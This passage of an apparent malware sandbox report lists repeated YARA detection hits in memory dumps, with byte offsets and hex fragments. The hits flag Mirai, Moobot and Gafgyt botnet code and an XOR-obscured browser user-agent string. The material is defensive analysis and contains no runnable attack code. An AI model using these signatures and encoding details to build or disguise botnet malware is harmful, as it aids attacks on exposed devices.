2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6782.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7198.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6675.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6675.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6675.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6675.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6675.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6675.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6944.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6944.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6944.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6944.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6944.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6944.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6963.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6298.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6298.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6298.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6298.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6298.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6298.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6237.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6237.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6237.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6237.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6237.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6237.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7004.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7160.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6691.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6691.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6691.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6691.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6691.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6691.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7303.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7257.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6749.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
